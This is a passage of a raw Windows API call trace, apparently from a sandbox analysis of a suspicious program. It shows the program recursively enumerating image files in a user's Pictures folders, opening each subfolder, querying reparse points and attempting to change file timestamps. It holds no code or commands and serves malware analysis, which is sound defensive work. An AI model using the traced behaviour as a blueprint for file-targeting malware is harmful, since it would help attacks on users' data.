Size=0x100) returned 0x1351400 [0090.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.963] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11fbbb0, ftCreationTime.dwHighDateTime=0x1d5bd5c, ftLastAccessTime.dwLowDateTime=0xee05b80, ftLastAccessTime.dwHighDateTime=0x1d5c1ba, ftLastWriteTime.dwLowDateTime=0xee05b80, ftLastWriteTime.dwHighDateTime=0x1d5c1ba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CvbFmnC -", cAlternateFileName="")) returned 1 [0090.963] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fe70b60, ftCreationTime.dwHighDateTime=0x1d5c4a0, ftLastAccessTime.dwLowDateTime=0xa9ab1fd0, ftLastAccessTime.dwHighDateTime=0x1d5bf79, ftLastWriteTime.dwLowDateTime=0xa9ab1fd0, ftLastWriteTime.dwHighDateTime=0x1d5bf79, nFileSizeHigh=0x0, nFileSizeLow=0xc6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gfl2N4U 6Qz8z6VuEBD_.png", cAlternateFileName="")) returned 1 [0090.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6018 [0090.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351508 [0090.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.965] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b61b0d0, ftCreationTime.dwHighDateTime=0x1d5c14b, ftLastAccessTime.dwLowDateTime=0x6cb966c0, ftLastAccessTime.dwHighDateTime=0x1d5c089, ftLastWriteTime.dwLowDateTime=0x6cb966c0, ftLastWriteTime.dwHighDateTime=0x1d5c089, nFileSizeHigh=0x0, nFileSizeLow=0x11dd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IIecKe.bmp", cAlternateFileName="")) returned 1 [0090.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6038 [0090.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351610 [0090.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.967] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81e6a520, ftCreationTime.dwHighDateTime=0x1d5b9a0, ftLastAccessTime.dwLowDateTime=0x968c6340, ftLastAccessTime.dwHighDateTime=0x1d5c5ab, ftLastWriteTime.dwLowDateTime=0x968c6340, ftLastWriteTime.dwHighDateTime=0x1d5c5ab, nFileSizeHigh=0x0, nFileSizeLow=0x348e, dwReserved0=0x0, dwReserved1=0x0, cFileName="JM2iLFOTSGmM5.png", cAlternateFileName="")) returned 1 [0090.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6058 [0090.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351718 [0090.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.969] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a9eaa80, ftCreationTime.dwHighDateTime=0x1d5bff5, ftLastAccessTime.dwLowDateTime=0xc9a81030, ftLastAccessTime.dwHighDateTime=0x1d5c475, ftLastWriteTime.dwLowDateTime=0xc9a81030, ftLastWriteTime.dwHighDateTime=0x1d5c475, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sotC_XSP8SvMbYh", cAlternateFileName="")) returned 1 [0090.969] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a9eaa80, ftCreationTime.dwHighDateTime=0x1d5bff5, ftLastAccessTime.dwLowDateTime=0xc9a81030, ftLastAccessTime.dwHighDateTime=0x1d5c475, ftLastWriteTime.dwLowDateTime=0xc9a81030, ftLastWriteTime.dwHighDateTime=0x1d5c475, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sotC_XSP8SvMbYh", cAlternateFileName="")) returned 0 [0090.969] GetLastError () returned 0x12 [0090.969] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\OImXeY uee\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0090.969] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.970] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e9cbb0, ftCreationTime.dwHighDateTime=0x1d5bd0a, ftLastAccessTime.dwLowDateTime=0x1e20de50, ftLastAccessTime.dwHighDateTime=0x1d5b9d9, ftLastWriteTime.dwLowDateTime=0x1e20de50, ftLastWriteTime.dwHighDateTime=0x1d5b9d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.970] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3b028f0, ftCreationTime.dwHighDateTime=0x1d5b99d, ftLastAccessTime.dwLowDateTime=0xa2f4cb30, ftLastAccessTime.dwHighDateTime=0x1d5b8b9, ftLastWriteTime.dwLowDateTime=0xa2f4cb30, ftLastWriteTime.dwHighDateTime=0x1d5b8b9, nFileSizeHigh=0x0, nFileSizeLow=0xc208, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Rckc6oQIhc.gif", cAlternateFileName="")) returned 1 [0090.970] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7ed7650, ftCreationTime.dwHighDateTime=0x1d5bc83, ftLastAccessTime.dwLowDateTime=0xdf4be580, ftLastAccessTime.dwHighDateTime=0x1d5c26b, ftLastWriteTime.dwLowDateTime=0xdf4be580, ftLastWriteTime.dwHighDateTime=0x1d5c26b, nFileSizeHigh=0x0, nFileSizeLow=0xc1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9k0kUbsJvE5X8B0fvl.gif", cAlternateFileName="")) returned 1 [0090.970] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11fbbb0, ftCreationTime.dwHighDateTime=0x1d5bd5c, ftLastAccessTime.dwLowDateTime=0xee05b80, ftLastAccessTime.dwHighDateTime=0x1d5c1ba, ftLastWriteTime.dwLowDateTime=0xee05b80, ftLastWriteTime.dwHighDateTime=0x1d5c1ba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CvbFmnC -", cAlternateFileName="")) returned 1 [0090.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351820 [0090.970] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\OImXeY uee\\CvbFmnC -" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wcsso2kw2d8waem6da\\oimxey uee\\cvbfmnc -"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11fbbb0, ftCreationTime.dwHighDateTime=0x1d5bd5c, ftLastAccessTime.dwLowDateTime=0xee05b80, ftLastAccessTime.dwHighDateTime=0x1d5c1ba, ftLastWriteTime.dwLowDateTime=0xee05b80, ftLastWriteTime.dwHighDateTime=0x1d5c1ba, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.970] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\OImXeY uee\\CvbFmnC -" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wcsso2kw2d8waem6da\\oimxey uee\\cvbfmnc -"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0090.970] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.971] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.971] NtClose (Handle=0x15c) returned 0x0 [0090.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1351820) returned 1 [0090.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faa80 [0090.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351820 [0090.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351928 [0090.973] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\OImXeY uee\\CvbFmnC -\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.973] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11fbbb0, ftCreationTime.dwHighDateTime=0x1d5bd5c, ftLastAccessTime.dwLowDateTime=0xee05b80, ftLastAccessTime.dwHighDateTime=0x1d5c1ba, ftLastWriteTime.dwLowDateTime=0xee05b80, ftLastWriteTime.dwHighDateTime=0x1d5c1ba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.974] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf01470, ftCreationTime.dwHighDateTime=0x1d5ba25, ftLastAccessTime.dwLowDateTime=0x705b64a0, ftLastAccessTime.dwHighDateTime=0x1d5b7e1, ftLastWriteTime.dwLowDateTime=0x705b64a0, ftLastWriteTime.dwHighDateTime=0x1d5b7e1, nFileSizeHigh=0x0, nFileSizeLow=0x10533, dwReserved0=0x0, dwReserved1=0x0, cFileName="2eS-p8l9DebyqI0tIJya.bmp", cAlternateFileName="")) returned 1 [0090.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351a30 [0090.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faa80) returned 1 [0090.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6078 [0090.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351b38 [0090.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.977] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6af0a90, ftCreationTime.dwHighDateTime=0x1d5c222, ftLastAccessTime.dwLowDateTime=0x74beeb40, ftLastAccessTime.dwHighDateTime=0x1d5c365, ftLastWriteTime.dwLowDateTime=0x74beeb40, ftLastWriteTime.dwHighDateTime=0x1d5c365, nFileSizeHigh=0x0, nFileSizeLow=0xb217, dwReserved0=0x0, dwReserved1=0x0, cFileName="dI-YcY7ivYkOnE_a.gif", cAlternateFileName="")) returned 1 [0090.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6098 [0090.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351c40 [0090.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.978] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedda3ba0, ftCreationTime.dwHighDateTime=0x1d5b632, ftLastAccessTime.dwLowDateTime=0x3bcf95f0, ftLastAccessTime.dwHighDateTime=0x1d5b7a3, ftLastWriteTime.dwLowDateTime=0x3bcf95f0, ftLastWriteTime.dwHighDateTime=0x1d5b7a3, nFileSizeHigh=0x0, nFileSizeLow=0x14439, dwReserved0=0x0, dwReserved1=0x0, cFileName="rTapTXYkJLjlikVnAFjD.gif", cAlternateFileName="")) returned 1 [0090.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f60b8 [0090.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351d48 [0090.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9880) returned 0x135c9e8 [0090.981] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedda3ba0, ftCreationTime.dwHighDateTime=0x1d5b632, ftLastAccessTime.dwLowDateTime=0x3bcf95f0, ftLastAccessTime.dwHighDateTime=0x1d5b7a3, ftLastWriteTime.dwLowDateTime=0x3bcf95f0, ftLastWriteTime.dwHighDateTime=0x1d5b7a3, nFileSizeHigh=0x0, nFileSizeLow=0x14439, dwReserved0=0x0, dwReserved1=0x0, cFileName="rTapTXYkJLjlikVnAFjD.gif", cAlternateFileName="")) returned 0 [0090.981] GetLastError () returned 0x12 [0090.981] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\OImXeY uee\\CvbFmnC -\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0090.981] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.981] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11fbbb0, ftCreationTime.dwHighDateTime=0x1d5bd5c, ftLastAccessTime.dwLowDateTime=0xee05b80, ftLastAccessTime.dwHighDateTime=0x1d5c1ba, ftLastWriteTime.dwLowDateTime=0xee05b80, ftLastWriteTime.dwHighDateTime=0x1d5c1ba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.981] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf01470, ftCreationTime.dwHighDateTime=0x1d5ba25, ftLastAccessTime.dwLowDateTime=0x705b64a0, ftLastAccessTime.dwHighDateTime=0x1d5b7e1, ftLastWriteTime.dwLowDateTime=0x705b64a0, ftLastWriteTime.dwHighDateTime=0x1d5b7e1, nFileSizeHigh=0x0, nFileSizeLow=0x10533, dwReserved0=0x0, dwReserved1=0x0, cFileName="2eS-p8l9DebyqI0tIJya.bmp", cAlternateFileName="")) returned 1 [0090.981] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6af0a90, ftCreationTime.dwHighDateTime=0x1d5c222, ftLastAccessTime.dwLowDateTime=0x74beeb40, ftLastAccessTime.dwHighDateTime=0x1d5c365, ftLastWriteTime.dwLowDateTime=0x74beeb40, ftLastWriteTime.dwHighDateTime=0x1d5c365, nFileSizeHigh=0x0, nFileSizeLow=0xb217, dwReserved0=0x0, dwReserved1=0x0, cFileName="dI-YcY7ivYkOnE_a.gif", cAlternateFileName="")) returned 1 [0090.981] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedda3ba0, ftCreationTime.dwHighDateTime=0x1d5b632, ftLastAccessTime.dwLowDateTime=0x3bcf95f0, ftLastAccessTime.dwHighDateTime=0x1d5b7a3, ftLastWriteTime.dwLowDateTime=0x3bcf95f0, ftLastWriteTime.dwHighDateTime=0x1d5b7a3, nFileSizeHigh=0x0, nFileSizeLow=0x14439, dwReserved0=0x0, dwReserved1=0x0, cFileName="rTapTXYkJLjlikVnAFjD.gif", cAlternateFileName="")) returned 1 [0090.981] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedda3ba0, ftCreationTime.dwHighDateTime=0x1d5b632, ftLastAccessTime.dwLowDateTime=0x3bcf95f0, ftLastAccessTime.dwHighDateTime=0x1d5b7a3, ftLastWriteTime.dwLowDateTime=0x3bcf95f0, ftLastWriteTime.dwHighDateTime=0x1d5b7a3, nFileSizeHigh=0x0, nFileSizeLow=0x14439, dwReserved0=0x0, dwReserved1=0x0, cFileName="rTapTXYkJLjlikVnAFjD.gif", cAlternateFileName="")) returned 0 [0090.981] GetLastError () returned 0x12 [0090.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1351928) returned 1 [0090.981] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0090.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1351a30) returned 1 [0090.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1351820) returned 1 [0090.982] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fe70b60, ftCreationTime.dwHighDateTime=0x1d5c4a0, ftLastAccessTime.dwLowDateTime=0xa9ab1fd0, ftLastAccessTime.dwHighDateTime=0x1d5bf79, ftLastWriteTime.dwLowDateTime=0xa9ab1fd0, ftLastWriteTime.dwHighDateTime=0x1d5bf79, nFileSizeHigh=0x0, nFileSizeLow=0xc6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gfl2N4U 6Qz8z6VuEBD_.png", cAlternateFileName="")) returned 1 [0090.982] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b61b0d0, ftCreationTime.dwHighDateTime=0x1d5c14b, ftLastAccessTime.dwLowDateTime=0x6cb966c0, ftLastAccessTime.dwHighDateTime=0x1d5c089, ftLastWriteTime.dwLowDateTime=0x6cb966c0, ftLastWriteTime.dwHighDateTime=0x1d5c089, nFileSizeHigh=0x0, nFileSizeLow=0x11dd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IIecKe.bmp", cAlternateFileName="")) returned 1 [0090.982] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81e6a520, ftCreationTime.dwHighDateTime=0x1d5b9a0, ftLastAccessTime.dwLowDateTime=0x968c6340, ftLastAccessTime.dwHighDateTime=0x1d5c5ab, ftLastWriteTime.dwLowDateTime=0x968c6340, ftLastWriteTime.dwHighDateTime=0x1d5c5ab, nFileSizeHigh=0x0, nFileSizeLow=0x348e, dwReserved0=0x0, dwReserved1=0x0, cFileName="JM2iLFOTSGmM5.png", cAlternateFileName="")) returned 1 [0090.982] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a9eaa80, ftCreationTime.dwHighDateTime=0x1d5bff5, ftLastAccessTime.dwLowDateTime=0xc9a81030, ftLastAccessTime.dwHighDateTime=0x1d5c475, ftLastWriteTime.dwLowDateTime=0xc9a81030, ftLastWriteTime.dwHighDateTime=0x1d5c475, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sotC_XSP8SvMbYh", cAlternateFileName="")) returned 1 [0090.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351820 [0090.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\OImXeY uee\\sotC_XSP8SvMbYh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wcsso2kw2d8waem6da\\oimxey uee\\sotc_xsp8svmbyh"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a9eaa80, ftCreationTime.dwHighDateTime=0x1d5bff5, ftLastAccessTime.dwLowDateTime=0xc9a81030, ftLastAccessTime.dwHighDateTime=0x1d5c475, ftLastWriteTime.dwLowDateTime=0xc9a81030, ftLastWriteTime.dwHighDateTime=0x1d5c475, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.982] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\OImXeY uee\\sotC_XSP8SvMbYh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wcsso2kw2d8waem6da\\oimxey uee\\sotc_xsp8svmbyh"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0090.983] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.983] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.983] NtClose (Handle=0x124) returned 0x0 [0090.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1351820) returned 1 [0090.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faa80 [0090.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351820 [0090.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351a30 [0090.985] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\OImXeY uee\\sotC_XSP8SvMbYh\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0090.985] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a9eaa80, ftCreationTime.dwHighDateTime=0x1d5bff5, ftLastAccessTime.dwLowDateTime=0xc9a81030, ftLastAccessTime.dwHighDateTime=0x1d5c475, 